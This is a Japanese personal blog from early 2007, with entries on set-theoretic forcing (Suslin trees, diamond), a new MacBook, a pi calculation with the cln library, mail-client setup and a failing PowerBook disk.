基本的にこういう監視カメラっぽいのはきらい (監視カメラを作る会社の倫理感や人権意識の崩壊を実地で見たということもあります。まああの人達にはもともとそういう感性はなかったのでしょうが) なのですが、じまんするために人様を呼びつけたとき、Photo Booth で写真を撮ると面白いです。用途と言ってもそれだけなのですが(笑)。

さすがにグラフィック性能は劣る
例えば大量のウインドウで散らかっている状況で Expose を使用すると分かりますが、移動がぎくしゃくする場合があります。まあ実害は無いのですがややかっこわるいことは事実です。

ヘッドフォンの音はPowerBookより劣る
これに関してはマシンの価格を考えると仕方がないかと。どうせヘッドフォンを使う場合、 UA-4FX 経由なので実害はありません。

致命的な不満はなく、というか非常に満足しています。三年間程大切に使用するつもりです。可愛がってあげなくっちゃ。余談ですがキーボードぼろぼろ、ハードディスクひん死状態の PowerBook は半年位したら修理に出して、それなり使えるようにしたいと考えています。奥さまか、場合によってはモカちゃんが重宝すると思います。
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2007年1月23日(火)

風邪引いた
熱が 38度程。体はそれほどきつくないのですが、明日は休みですな。
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2007年1月22日(月)

強制でSuslin木を削除
$M~$ を集合論のモデルとし $\kappa\in~M~$ を正則基数とします。また $M~$ に $\kappa~$ -Suslin木 $\langle~T,\prec~\rangle~\in{M}~$ が存在すると仮定します。容易に想像がつくように $\mathbb{P}=\langle~T,<~\rangle~$ -generic (ただし $<~$ は $\prec~$ を逆にした順序) $G~$ を考えると「鎖が伸びて」 $M[G]~$ で $\langle~T,\prec~\rangle~$ は $\kappa~$ -Suslin木ではなくなります。さらにこの Generic は基数を保存することも証明できます。まず準備として well pruned 木 (良く枝刈りされた木) という概念を導入します。
(定義) $\mathrm{ht}(T)=\kappa~$ である木が well pruned とは次の条件を満たすこと。
$\forall~\alpha<\kappa~\forall~x\in{T}~~(\mathrm{ht}(x)<\alpha~\rightarrow~\exists{y\in{T}}(x<y~\wedge~~~\mathrm{ht}(y)=\alpha))~$
$T~$ を $\mathrm{ht}(T)=\kappa~$ である木とするとき、 $|\{y\,:\,~x<y\}|=\kappa~$ である $x\in{T}~$ 全体の集合 $T^'~$ を考えると
$T^'~$ は well pruned であり「 $T~$ は $\kappa~$ -suslin木 $\leftrightarrow~T^'~$ は $\kappa~$ -suslin木」
であることは容易に分かります。従ってもともとの $T~$ を well pruned と仮定します。
(定理)
$M~$ を集合論のモデルとして、 $\kappa\in~M~$ を正則基数とする。 $\langle~T,\prec~\rangle~\in~M~$ を well pruned Suslin木とする。 $\langle~T,\prec~\rangle~$ の逆転順序を $\mathbb{P}=\langle~T,<~\rangle~$ とし、 $G~$ を $M~$ 上 $\mathbb{P}~$ -Generic とするとき次が成立する。
(1) $M[G]~$ で $G\subset{T}~$ は $|G|=\kappa~$ を満たす鎖である。
(2) $M[G]~$ は $M~$ の基数を保存する。
(証明) $D_\alpha~=~\{x\in{T}\,:\,~\alpha~\prec~\mathrm{ht}(x)\}~\in~M~$ とおくと $T~$ が well pruned であることにより $D_\alpha~\subset~\mathbb{P}~$ は稠密。従って $G\cap~D_\alpha~\neq~\emptyset~$ となるので (1) はほぼ自明です。さらに $\kappa~$ が正則で元の木が Suslin であることにより $\mathbb{P}~$ は $\kappa~$ -c.c を満たすので $M[G]~$ は $\kappa~$ 以上の基数を保存します。 $\kappa~$ 未満に関して残念ながら $\mathbb{P}~$ は $\kappa~$ -closed ではありません。しかし $G~$ が $M[G]~$ で $\kappa~$ -closed 的な性質を持つことを利用すると、次の事実が分かります。
$f\in~M[G],~X\in{M},~\alpha<\kappa~$ として $M[G]~$ で $f:\,~\alpha~\rightarrow~X~$ のとき $f\in~M~$
実際 $f\in~M[G]~$ は $M~$ から $X~$ への関数なので、任意の $\xi~<~\alpha~$ に対し $\exists~{z\in~X}~(f(\xi)~=~z)~$ が $M[G]~$ で成立します。従って $f~$ の名称を $\dot{f}~$ とするとき $p\in~G~$ が存在し
$\forall~\xi<\alpha(p||-~\exists~z\in\check{X}(\dot{f}(\xi)=\check{z}))~$
が成立します。後はおおざっぱに $G~$ の減少列 $(p_\xi)_{\xi<\alpha}~$ と $X~$ の列 $(x_\xi)_{\xi<\alpha}~$ を $p_\xi~||-~\dot{f}(\xi)=\check{x}_\xi~$ を満たすように「とれば」良いのですが、モデルの中での「列」を扱うため、ここはいくらかの注意が必要です。
$M[G]~$ での選択公理と超限帰納により $G~$ の減少列 $(p_\xi)_{\xi<\alpha}~$ と $X~$ 要素の列 $(x_\xi)_{\xi<\alpha}~$ で次の条件を満たすものが構成可能です。
$\forall{\xi<\alpha}(p_\xi~||-~\dot{f}(\xi)~=~\check{x}_\xi)~$
で、この段階で $(x_\xi)_{\xi<\alpha}~\in~M~$ は全く明らかではありません。ところが $|G|=\kappa~$ だったので $r~\in~G~$ が存在し $\forall{\xi<\alpha}(r~\le~p_\xi)~$ を満たします。このとき $\forall{\xi<\alpha}(r~||-~\dot{f}(\xi)~=~\check{x}_\xi)~$ 成り立つので、 $f=\{\langle~\xi,x~\rangle~\in~\alpha~\times~X~\,:\,~~r~||-~\dot{f}(\xi)~=~\check{x}\}~\in~M.~$ なんか $(x_\xi)_{\xi<\alpha}~$ がいまいち必要なかった気がしますが、とにかくこの段階では $(x_\xi)_{\xi<\alpha}~\in~M~$ も分かります。
えーっと何を示そうかとしてたのかというと、そうそう $M[G]~$ は $\kappa~$ 以下の基数も保存するわけです。
あっ、なんというか強制による手作り感がなかなか楽しいです。
(参考文献) Kenneth Kunen 著 Set Theory
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2007年1月21日(日)

実3次対称行列の固有値
実は仕事で実3次対称行列の固有値 (これは実数になる) と固有ベクトルを求める必要があります。調べると色々な方法があるようですが、今回の用途では高速性が重視されます。良いアルゴリズム (できれば C, C++, Java っぽいサンプルも) をご存知の方は教えて頂けるとうれしいです。
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2007年1月20日(土)

ダイアモンドを作る
集合論雑記目次
今日は手作りダイアモンドのお話です。 $L~$ を直接使わないで、強制により基数に高い圧力をかけ、それによる圧縮によりダイアモンドを作る作戦の概略です。この手法で人造ダイヤを作ればぼくもあなたも明日から大金持ちです(笑)。
まず $M~$ を CH が成り立つとは限らない集合論のモデルとします。 $M~$ の中で $I=\{\langle~\alpha,~\xi~\rangle~\,:\,~\xi~<~\alpha~<~\omega_1~\}~$ として半順序集合 $\mathbb{P}~=~\mathcal{F}(I,2,\omega_1)~\in~M~$ を考えます。 $I~$ の高々可算な部分集合から $2~$ への関数全体の集合です。順序は通常通り $p~\le~q~\leftrightarrow~q~\subset~p~$ で定義されます。
(ダイアモンド作成定理) $G~$ を $M~$ 上 $\mathbb{P}~$ -Generic とするとき $M[G]~|=~\Diamond.~$ 特に $M[G]|=\mathrm{CH}.~$
証明には $\lambda~$ -closed という概念を使います。
(定義) 半順序集合 $\mathbb{P}~$ が $\lambda~$ -closed とは次の条件を満たすこと。
任意の $\alpha<\lambda~$ に対して $\mathbb{P}~$ の要素の減少列 $(p_\xi)_{\xi<\alpha}~$ は $\mathbb{P}~$ において下界をもつ。言い換えると $\exists~p\in\mathbb{P}~\forall~{\xi<\alpha}(p~\le~p_\xi)~$ が成り立つ。
(定理) $\mathbb{P}~$ が $\lambda~$ -closed を満たすとします。 $G~$ を $M~$ 上 $\mathbb{P}~$ -Generic として $A,B~\in~M,~|A|<\lambda~$ のに対し、 $f\in~M[G]~$ を $A~$ から $B~$ への関数とします。このとき $f\in~M.~$

(証明の概略) 適当な基数 $\mu~$ と $A~$ との間の $M~$ での全単射を考えれば $A=\mu~<~\lambda~$ の場合に証明すれば十分です。 $f:~\mu~\rightarrow~B~$ の適当な名称 $\dot{f}~$ をとり、 $p_0~\in~\mathbb{P}~$ を $p_0~||-~\dot{f}:\,\check{\mu}~\rightarrow~\check{B}~$ を満たすものとします。ここで少々おおざっぱですが、強制での存在記号の解釈をきちんと行えば、 $M~$ の列 $(p_\alpha)_{\alpha\le\mu},\,~(b_\alpha)_{\alpha<\mu}~$ を構成可能です。
$p_{\alpha+1}~\le~p_{\alpha}~$
$p_{\alpha+1}~||-~\dot{f}(\check{\alpha})~=~\check{b}_\alpha~$
極限ステージでの $p_\alpha~$ は今までに現れた $(p_\xi)_{\xi<\alpha}~$ の下界 (ここで $\lambda~$ -closed を使う)。
するとまたまたおおざっぱな記法ですが $p_{\mu}~||-~\langle~\alpha,b_\alpha~\rangle_{\alpha<\mu}~=~\dot{f}~$ が証明でき $f\in~M~$ が成り立ちます。
特に $\alpha<\lambda~$ から $\kappa~\le~\lambda~$ への cofinal-関数は $M~$ の要素になるので $M[G]~$ は $M~$ での $\lambda~$ 以下の基数を保存します。
(ダイアモンド作成定理の証明) まず $\omega_1~$ の正則性により $\mathbb{P}~=~\mathcal{F}(I,2,\omega_1)~$ が $\omega_1~$ -closed であることはすぐに分かります (関数族の合併を考える)。従って $G~$ を $M~$ 上 $\mathbb{P}~$ -Generic とすると $\omega_1^{M[G]}~=~\omega_1^M,\,~~\mathcal{P}(\omega)^{M[G]}~=~\mathcal{P}(\omega)^M~$ が成立します。さらにいつもの通り $f=\bigcup{G}~$ とすると $f~\in~M[G]~$ は $I~$ から $2~$ への関数となります。ここで
$f_\alpha(\xi)~=~f(\alpha,\xi)~\quad~(\xi<\alpha<\omega_1)~$
と定義すると、なんと都合の良いことに $(f_\alpha)_{\alpha<\omega_1}~$ が ( $\omega_1~$ の部分集合の特性関数とみなしたとき) $M[G]~$ での $\Diamond~$ 列になるのです。実際この事実が成立しないと仮定すると $p_0~\in~G~$ と名称 $\dot{B},\,\dot{C}~$ が存在し
$p_0~||-~(\dot{B}\subset\omega_1~\wedge~~\dot{C}\subset\omega_1~\wedge~\dot{C}~$ は閉非有界 $\wedge~\forall{\alpha<\omega_1}(\dot{B}|\alpha~\neq~\dot{f}_\alpha)~$
が成立します。ここで $\dot{f}_\alpha~$ は $f_\alpha~$ の名称、 $\dot{B}|\alpha~$ は $\dot{B}~$ を特性関数とみなしたときの $\alpha~$ への制限とします。そしてここから特に Kunen本の丸写しとなりますが、次の $M~$ の要素の $\omega~$ 列を構成可能です。
$(a)\,\beta_n~=~\mathrm{supt}(p_n)~$
$(b)\,\gamma_n~>~\beta_n~$
$(c)\,p_{n+1}~\le~p_n~$
$(d)\,p_{n+1}~||-~\gamma_n~\in~\dot{C}~$
$(e)\,\mathrm{supt}(p_{n+1})>\gamma_n~$
$(f)\,b_n~:~\beta_n~\rightarrow~2~\wedge~p_{n+1}~||-~~(\dot{B}|\beta_n~=~\check{b}_n)~$
ここで $\mathrm{supt}(p)~$ は $p\in\mathbb{P}~$ に対し $\mathrm{dom}(p)~\subset~\{\langle~\alpha,\xi~\rangle~\,:\,~\xi<\alpha<\beta\}~$ を満たす最小の $\beta<\omega_1~$ です。 $\dot{C}~$ が強制関係で (閉) 非有界であることと、強制関係での存在記号の意味により (a) ～ (e) は自然に進行します。また (f) は $\mathbb{P}~$ が $\omega_1~$ -closed であることにより構成可能です。今
$\gamma~=~\lim_{n\in\omega}\beta_n~=~\lim_{n\in\omega}\gamma_n~$
$p=\lim_{n\in\omega}p_n~$
$b=\lim_{n\in\omega}b_n~$
とします。 $\mathrm{supt}(p)~=~\gamma~$ , $p||-~\dot{B}|\gamma~=~\check{b}~$ , さらに $\dot{C}~$ が上記強制関係で閉 (非有界) であることにより $p|=~\gamma~\in~\dot{C}~$ も成り立ちます。 $p~$ は $\{\langle~\gamma,~\xi~\rangle~\,:\,\xi<\gamma\}~$ で定義されないので、 $q(\gamma,~\xi)~=~b(\xi)~$ と拡張した $q\in\mathbb{P}~$ を考えます。ここで面白いことに $q||-~q\in\dot{G}~$ であることにより、 $q||-~\check{b}~=~\dot{f}_\gamma~$ が成立します。従って $q||-~\dot{B}|\gamma~=~\dot{f}_\gamma.~$ ところが $q||-~\gamma\in\dot{C}~$ が成立するので矛盾です。
$L|=\Diamond~$ より易しい感じがするのが不思議です。さらに、最初に書いたように $M~$ が CH を満たさない場合、 $M[G]~$ において $2^\omega~$ は圧縮されているわけです。
(参考文献) Kenneth Kunen 著 Set Theory
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2007年1月19日(金)

結局五十肩
Jech本の持ち過ぎかと思っていましたが、ちっとも痛いのが直らないので、病院へ行ってきました。
正真正銘の五十肩だそうです(笑)
さらに有効な治療法はないそうで、時が経過するのを待つしかないと。普通は半年くらいで治まるそうです。まあ、服、特にこの時期ですと、セーターを着たり脱いだりするのが大変なのですが、我慢できない程痛い訳ではないので、サロンパスをもらってきただけです。左腕を横や上方向に持ってくのが大変なので、重いのを持ったりするのはどうということないのです。ただ、もしも、右の方も痛くなったりすると、電車でつり革をつかめず面倒なことになりそうです。まあなんといいますか年ですなあ(^^。
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2006年12月30日の記事について
通りすがりさんからコメントが入りましたので、そろそろ自分なりにまとまらないことをまとめておかないといけないかなと思いまして。
くるるさんのところ (明けましておめでとうございます) でも議論が盛り上がっているようですが、今回色々な方に教えて頂き、自分自身の数学の基礎に関する認識のなさを痛感したことは事実です。去年 12月30日の日記には、何を血迷ったか、色々余計なことを書いてしまいましたが、私の数学って、結局のところ、論理がどうのこうのというより、古典的な代数系の思考に限定されているような気がします。そしてその世界での整合性を感じ取れれば満足できているような。
じゃあどうして集合論が好きなのかと言われると、その辺りは「巨大基数の集合論」を手にしてからのなりゆきとか、実際に勉強した範囲では、論理的というより、代数的な装いを感じることができる場合が多いという面もあると思います。とにかく今まで勉強した数学で一番面白いと感じていることは確かですし、学生時代に勉強した事柄 (これは最後の方は全く分からなくなった) より直感的に把握できているとも思います。
で、肝心の議論の方なのですが、もはや話について行けなくなっています(弱)。
それでは引用されている本を読めば良いのでは、とのご指摘を受ける可能性があるのはもちろんですが、正直今勉強している事柄が十分難しく、他に手を伸ばすゆとりが全くありません。
それから私って数学の本を読むスピードがとても遅いのです。すぐ忘れるし。紙に書きながらでないと絶対に理解できないという面もあります。なので、誠に申しわけなく、さらに情けないのですが、数学の基礎的な部分や、ましてや哲学的な考察についての議論に関しては、沈黙しようと思いますし、見識のない余計なことを書いて人様に迷惑をかけない方が良いと考えています。
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2007年1月17日(水)

だらだらと
未だ Kunen本の強制の部分の復習中です。 $M~$ の半順序集合 $\mathbb{P}~$ 上 Generic $G~$ による拡大 $M[G]~$ において、 $2^\kappa~$ が大きくなり過ぎないことを示すのに、 $\kappa~$ の部分集合が nice name と称する $\mathbb{P}~$ -名称で表現可能であることを使うところが、なんとなく $\Diamond~$ 的な感じがしました。それから、この辺り (強制の繰り返しを含む) はきちんと把握したいので、Devlin本を読み始めるまであと一月くらいかかるかも知れません。
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2007年1月16日(火)

まくら
下の写真は何でしょうか？

これは竹枕ですね。夏の暑い日、少々固いのが難点ですが、なかなか快適です。実はこれが今大活躍なのです。何に活躍しているかと言いますと、MacBookを膝の上で使う時、この上に敷物を乗せて使うのです。
以前 Y.Kumagaiさんところで
私はMacBookで人生初の低温火傷を負いましたけど
という記事を読ませて頂きましたが、いやはやまさかそんなに熱くなることはないであろうし、そもそも私の膝は熱に強いはずと思っていましたから (←根拠なし)
ところが本当に火傷しそうになりました(笑)。こりゃ軽く膝上 50度を超えるのでは。
というわけで、竹枕の登場です。やや安定感に難ありですが、放熱も良さそうですし、なんといっても膝が熱くなる心配が全くありません。愛用してます！！おすすめです(笑)。
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2007年1月15日(月)

円周率計算してみた
新規 PC を購入したとき恒例円周率計算です。昔 ThinkPad で行ったときは五千万桁が限界でしたが、はてさて今回はどうなるでしょう。
まずは世界最高速多倍長ライブラリーの評判が高い、 Bruno Haible先生作成 cln ライブラリーのインストールです。事前に gmp ライブラリーのインストールが必要です。さらに次のような感じのスクリプトを作成しておくと便利です。
```
LDFLAGS="-lstdc++ -L${prefix}/lib -L/sw/lib" \
CPPFLAGS="-I${prefix}/include -I/sw/include" \
CFLAGS="-O2 -fno-exceptions -finline-limit=1000 -I${prefix}/include -I/sw/include" \
CXXFLAGS="-O2 -fno-exceptions -finline-limit=1000 -I${prefix}/include -I/sw/include -L${prefix}/lib -L/sw/lib/" \
./configure --with-gmp --infodir=${prefix}/share/info --mandir=${prefix}/share/man \
LDFLAGS="-lstdc++ -Wl,-read_only_relocs,warning -L${prefix}/lib -L/sw/lib" \
make  all
```
コンパイルは信じられないくらい順調に進み、三十分以内で完了しました。以前は cln のコンンパイルというと、半日かがりだったのですが、思ったより速くてびっくりしました。
で、肝心の一億桁挑戦ですが、あっさり終了しました。
real time: 6079.998 s, run time: 5830.981 s (計算)
real time: 1946.874 s, run time: 1877.414 s (十進数に変換)

三時間かかっていません。
というか計算時間はともかく、どうしてこんなに速く十進数に変換出来るのだろう。謎です。実メモリーの使用量はモニターで見ていた感じ最大 1G バイト程度でした。さらに CPU を一つ独占し続けましたが、なんといってももう一つのコアーがあるので、他の作業にほとんど影響を与えません。素晴らしい。ただし、Mac OS X は使用済みのメモリーをどんどん swap に書き出すらしいので /var/vm/ 以下はなかなか素晴らしい状況でした。
```
$ ls -l /var/vm/
total 8388608
drwx--x--x   14 root  wheel         476  1 11 03:15 app_profile
-rw------T    1 root  wheel  2147483648  1 13 06:22 sleepimage
-rw------T    1 root  wheel    67108864  1 13 06:44 swapfile0
-rw------T    1 root  wheel    67108864  1 14 01:51 swapfile1
-rw------T    1 root  wheel   134217728  1 14 02:01 swapfile2
-rw------T    1 root  wheel   268435456  1 14 02:14 swapfile3
-rw------T    1 root  wheel   536870912  1 14 02:19 swapfile4
-rw------T    1 root  wheel  1073741824  1 14 02:50 swapfile5
```
sleepimage というのは、ハイバネーション用らしいのですが、普段は使われません。なんか設定を変えたり、スリープ中に電池がぎりぎりになると使われるという話もありますが、真偽不明です。アプリケーションもユニヴァーサル化されているし、なかなかのディスク大食い OS であることは確かです。
いつも思うのですが、個人的な目標を達成してしまうと、とたんに興味を失うので、円周率の計算もこれが最後になるかも知れません。まあ十億桁の可能性がでてきたら、再度楽しみ始めるかも知れませんが(笑)。
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2007年1月14日(日)

分からん
昨日書いた、MacBook で Mew での APOP, SMTP 認証がともにうまくゆかない件ですが、まじ分からないです。設定を見直したり、fink で別の emacs を入れたりしてもだめ。tcpdump で回線内容をみてもまともそう。ただしパスワードの実体は暗号化されているので、正しいかどうか不明です。チャレンジレスポンスなので毎回変わるし。そもそも Web にそれらしき記事がないのも不思議。
仕方がないので、しばらく AppleMail を使うことにしました。Mew を使いたいときは自宅サーバーのを使うことにします。
結局受信は fetchmail で行い、送信は ssh トンネル使用なので無認証(笑)。
(メモ) fetchmail はデフォルトで含まれる。Postfix の自動起動は /etc/hostconfig に
```
MAILSERVER=-YES-
```
を追加。
(mew の設定)
```
;; To use local mailbox "mbox" or "maildir" instead of POP
(setq mew-mailbox-type 'mbox)
;;(setq mew-mbox-command "incm")
;;(setq mew-mbox-command-arg "-u -d /var/mail/kagami")
(setq mew-mbox-command "/home/kagami/bin/checkmail.sh")
```
(checkmail.sh の中身)
```
#!/bin/sh

/usr/bin/fetchmail -as
/usr/local/bin/incm -u -d /var/mail/kagami
```
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Lでのダーツ
ゲーデルの $L~$ というか、もっと一般に $\mathrm{CH}~$ が成立する世界でダーツを行うのです。 $\mathbb{R}^2~$ の原点中心半径1の円の内部 (境界はどうでもよい) $C~$ をねらって矢を投げることとします。それなりに上手な二人 AさんとBさんが競争するとして、どちらが勝つでしょうか？上手なので矢は必ずどこかには当たるものとします。
ただしルールは少々変則で、まず $C~$ を整列し、その順序による $C~$ の列挙を $(c_\alpha)_{\alpha<\aleph_1}~$ とします。CH が成り立っているので $|C|=\aleph_1~$ です。そしてこの順序に関し「大きい」場所に矢を当てた方が勝ちです。すでに怪しげな雰囲気がただよっています(笑)。
まず $A~$ さんが投げます。当たった場所を $c_\alpha~\quad~(\alpha<\aleph_1)~$ とすると、 $X=\{c_\xi~\,:\,~\xi<\alpha~\}~$ は可算です。B さんは $C-X~$ に矢を当てれば勝ちです。ところが $X~$ は可算集合なのでルベーグ測度 0 です。従って B さんが投げた矢はほとんど確実に $C-X~$ の点に当たります。B さん必勝です。まあ後で投げた方が有利なのは事実なのですが、よもや必勝とは！！さらにこの議論は逆に展開することが可能で、A さんが必勝であることも推論できます。変ですねえ(^^。
詳しくは Devlin先生のこちらの解説をお読みください。
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2007年1月13日(土)

MacBook購入
買いました。黒マック。実は一昨々日届いていたのですが、一昨日と昨日出張で余り使っていません。というのは大嘘で、届いた晩は徹夜しました(笑)。いやはや、その後出張で一日会議だったので、眠かったこと眠かったこと。さらに翌日 (昨日) は残っている代休を使って一日遊ぼうと思っていたら、会議が二日目に持ち越しとなり、かなりの衝撃を受けました。だたし会議先のお客さまのところで多いにじまんしたのはもちろんです(^^。
購入したのはデフォルトにメモリーを追加した 2Gバイトヴァージョンです。最近の OS やアプリケーションはメモリー大食いですし、いくら CPU が速くてもメモリーが不足すると余り意味がないので、こんなものかなと思います。
現在ブラウザ、メール関連と、emacs, LaTeX, OmniOutliner, OmniGraffle が動作する状況です。まあ実際にこれ以外あんまり使わないのですが(笑)。ただしメールには重大な問題と、LaTeX + OmniGraffle には軽微な問題が発生しました。これに関しては後述します。
それではまだまだ経験不足ですが、ちょっと使ってみた感想など。
- やっぱり速いです。さすがクロック 2Gのデュアルコアーです。実際問題として、PowerBookの速度で困ったことはないのですが、アプリケーションの立ち上がりや LaTeX での長い文書のコンパイルに関しては多いに助かります。まだ使っていませんが、人様から頂いた Word や Excel の文章を読むときに使うNeoOffice 起動時に特に威力を発揮するのではないかと。
- 画面はピカピカ系で、最初違和感がありましたが、すぐに慣れました。今まで使用してた Powerbook より少々大きく十分な見栄えです。専用のグラフィックチップを搭載していないので、描画速度にやや不安があったのですが、ゲームをしない限り全く問題ないと思われます。うーん、もしゲーム好きだったら MacBook Pro がうらやましかったかも(^^。
- キーボードがやや安っぽいかなと思ってました。というか PC-6001 のイメージです(ふるっ)。ところが実際に使ってみると、さすがに PowerBookに比べるとやや高級感に欠けますが、十分な使いやすさです。
- WX310Kを Bluetooth で繋いだ時、切断中に落ちることがなくなった。これはとても良いです。それからなんか速くなった気がするのですが、さすがに気のせいでしょうか。
うーむ、感想と言っても、今のところ激速なのに驚いているところなので、気の効いたことは余りかけないですねえ。申しわけありません。次に現行の問題点。
- Mew での APOP, sendmail の認証がともにうまくゆかない。
  前と同じ設定ファイルなのに、これは本当に謎です。片方だめならともかく両方だめなのです。現在通常は Mew を使用して、別ユーザーでApplemail でもメールを取り込み、こちらは Spotlight での検索が非常に重宝なのですが、面倒だからいっそのこと Applemail のみに乗り換えるかどうか検討中です。
- OmniGraffle で作成した PDF ファイルを取り込み LaTeX ファイルから作成した dvi ファイルを dvipdfmx で変換すると、とりこんだ画像がうまく処理されず、画像の部分が空白の箱になる。
  これについては Web にも色々な情報が上がっているのですが、現行では、いまいち根本的な解決法が難しそうです。dvipdfmx にソースレヴェルのパッチをあてる方法はあるらしいのですが、日本語 TeX 環境をソースからビルドするのはさすがに面倒です。実際には OmniGraffle が出力した PDF ファイルを Preview で保存し直せば使えるようになるのですが、この方法も自動化が難しく面倒そうです。さらに OmniGraffle に EPS ファイルを出力させ、それを LaTeX ファイルに食べさせる方法もあるのですが、今度は dvipdfmx の実行に長大な時間がかかるようになり、これでは CPU が激速になった意味がありません。
  どうしたもんかいな、と色々物色したところ /usr/bin/pstopdf というプログラムがもとから入ってるようで、こちらで EPS を PDF に変換すると、速度的にも品位的にも問題がなさそうです。なので個人的にはこちらは解決です。
その他気がついたことがあったら、ぼちぼちということで、しばらくお遊びが続くと思われます。
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2007年1月12日(金)

会議は続く
まだつくば。結局昨日の会議は二十一時過ぎまで続き、さらに今日への持ち越し議案ありです。なので昨日から泊まりで今日もつくばなのです。
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2007年1月11日(木)

出張
今日はつくば出張です。
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2007年1月10日(水)

Constructibility 届く
昨日届いていました。あっと驚く航空便です。切手に 12ドル80セントと書いてあるので、なんというか事務手続き費用等を考えると、本自体はほとんど無料という感じです。
実は一月くらいかかると思って、その予定で勉強のスケデュールをたてていたので、とても困っています(嘘)。
あれです！仕事とかで「どうせ相方さんこんなに早くできないだろう」と勝手に考え~~さぼってたら~~他の仕事をしていたら、「もうできました」と言われてあせるのとおんなじです(笑)。
これは真面目に勉強するしかありません。そうはいうものの、現在 forcing の繰り返しに関する基本をまとめたいのと、今度の土日は昨日のコメントのような事情があり、読み始めるまで少々時間がかかるかも知れません。夏くらいまでに読破出来たら大成功ということで。
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2007年1月9日(火)

続 PowerBook 不調
ハードディスクが一度止まったPowerBook ですが、今朝起きたら固まっていました。一度電源をいれ直したところ、普通に立ち上がりましたが、下記のログが残っていました。
```
# cat /var/log/system.log
Jan  9 05:11:59 power kernel[0]: IOATAController device blocking bus.
Jan  9 05:12:26 power kernel[0]: IOATAController device blocking bus.
Jan  9 05:12:26 power kernel[0]: jnl: flushing fs disk buffer returned 0x3c
Jan  9 05:24:39 power kernel[0]: IOATAController device blocking bus.
...
Jan  9 06:12:38 power kernel[0]: jnl: flushing fs disk buffer returned 0x3c
Jan  9 06:13:11 power kernel[0]: IOATAController device blocking bus.
...
```
こりゃだめですな。夜中の自動バックアップから誘発されているらしいことは分かるのですが、もう信用出来ません。前に書いたようにハードディスクを交換するのは大変そうですし、そもそも、あと半年のためにお金をかけるのもあれですし。どうしよう。考え中です。かんがえちゅう！！
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2007年1月8日(月)

英語で恥をかく
最近このねたばかりで申しわけないのですが、先週注文した Devlin の Constructibility を発送したという通知が来ないので、念のためメールで確認したのです。もちろんちゃんと返事をもらえたのですが、その内容は、

何を質問しているのか良くわかりませんが、とにかく発送しました(笑)

という感じのものだったのです。うーむ、英語は読むのも得意ではなく、基本的に数学書、もしくはコンピューター関連の本しか読めないのですが、書くのはさらに苦手。そこでネットの翻訳ソフトの出力をそのまま送ったのですが、さすがにまずかったですか。てゆうか中学ではかなり優秀な成績で、さらに高校までの成績もそれほど悪くなかったのにどこでおかしくなったのだろう。まあそれはある意味数学に関しても同様なのですが、ちょっと油断すると物事だめになるもので。今後英語でものを書くときは、ちゃんと人様にお願いすることにしましょう ← ちがうって！
余談ですが前に調べたときは見つからなかったのですが (もしかして綴りを間違えた？) Amazon で入手可能なようです。ただしお値段が 182ドルです (たかっ)。下の方のレヴュー欄にも
```
It's really an good book but too expensive.
You can buy it in www.aslonline.org.
It just be $40 and there is a discount for ASL member.
```
と書いてあります。ちなみに私が購入した価格は送料込みで 30ドルです。でも、もしこれを最初に発見したら、ここで購入したことは間違いないので、お手数をかけましたが、見つけ損なったのは良かったかも。150 ドルの差額を考えれば、英語で恥をかく位なんてことありません(笑)。
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2007年1月7日(日)

連休終わり近し
あわわわっ、永遠とも思えた十連休も明日で終わり。お約束の昼夜逆転生活です。それにしても怠惰な生活を(笑)。
集合論の方は Kunen本と Jech本の L に関する部分は一通り読みましたが、該当の部分に関して分かったのかどうだか。Constructibility が届くまでもう一度読み直した方が良いかも知れません。Jech本を眺めていたら後ろの方に J_αに関しての記述がありましたが、全く分かりません。あれっておおざっぱに L_α の構成を、べき集合に制限しないで行うということなのでしょうか。いずれにしても、今まで読んだ本を読み直してみると、極限順序数 γ に対する L_γの構造はかなり難物らしく、どの本を見ても、詳細は Devlin本を参照と書いてありました。
で、休み中に強制の繰り返しを一通り、さらに MA+nonCH の整合性までと思いましたが、こちらは間に合いませんでした。というか、個別の正則基数のべきが cofinality の条件を満たす任意の基数と等しくできるところまでで、Easton forcing の前までくらいしか勉強してません。収穫と言えば、今までどうしても generic の内部名称にこだわっていたのですが、generic 拡大についても自然に考えることができるようになったことでしょうか。これに関しては色々教えて頂いたり、集合論関連のブログを読ませて頂いたのが、とてもためになりした。
というわけで、あさってから仕事なのですが、昨年より効率が上がる勉強方法を考えないと、破綻することは明らかです。キーポイントは一時間半近く乗る帰りの電車の中でしょうか (行きは寝てしまうのでだめ)。前日までに定理や証明の流れの概略をメモして、それを電車の中で詳細化する。もし分からなくても一度考えて分からない部分は記憶に残るので。専用の集合論メモ帳でも作ろうかな。
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2007年1月6日(土)

BBSプチ変更
Y.Kumagaiさんのところで、画期的なスパムコメント排除アルゴリズムが発表されたので、さっそくまねをしました(笑)。おうちの場合一日に二十件くらい英語のスパムコメントが入る程度で、さらに、本文に２バイト文字が含まれない場合拒否しているので、現在捕捉率 100% なのですが、もし日本語のスパムが入るとひとたまりもありません。
でもって、効果の程ですが、一部の例外を除き全部捕捉されました。わわわっ、なんちゅう手抜きボットプログラム。まるで私が書いたみたいです(笑)。
(実例) 例えば構造体をシリアライズしたい場合、「一つのフィールドは一行に書いて下さい」とお願いして、ほとんど構文解析しないプログラムを書くことが多いとか。さらにそういうのが全国に出回ってる(汗)。
一つだけ謎があって、上の方の「最近のコメント」をリファラーとして、GET なしでPOST してくるやからがいるのですが、それだけは上の方法で捕捉出来ません。試しにダミーの POST 入れときましたが、はてさて効果があるものかどうか。まあ今のところどうでも良いのですが(^^。
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2007年1月5日(金)

PowerBook 不調
購入後二年経過した PowerBook ですが、最近とみに不調なのです。
1. お客さんのところで通信のテストをして、色々なネットワークケーブルを入れ替えさし替えしていたら、イーサネット口の爪がとれてしまった。
2. キーボード不調。不調状況と原因ですか？えーっと、上矢印キーの下にごみが入っったので無理矢理はがそうとしたら、吹っ飛んでさらに行方不明になったという。基本的に矢印キーは使わないので、実害はないのですが、すんごくかっこわるいのです。
3. 先程突然動作が一時的に止まるようになった。ハードディスクがかたかたとリトライしている感じの音あり。一度電源を落とし再起動したところ、ちゃんと動いているが、今後どうなるか分からない。
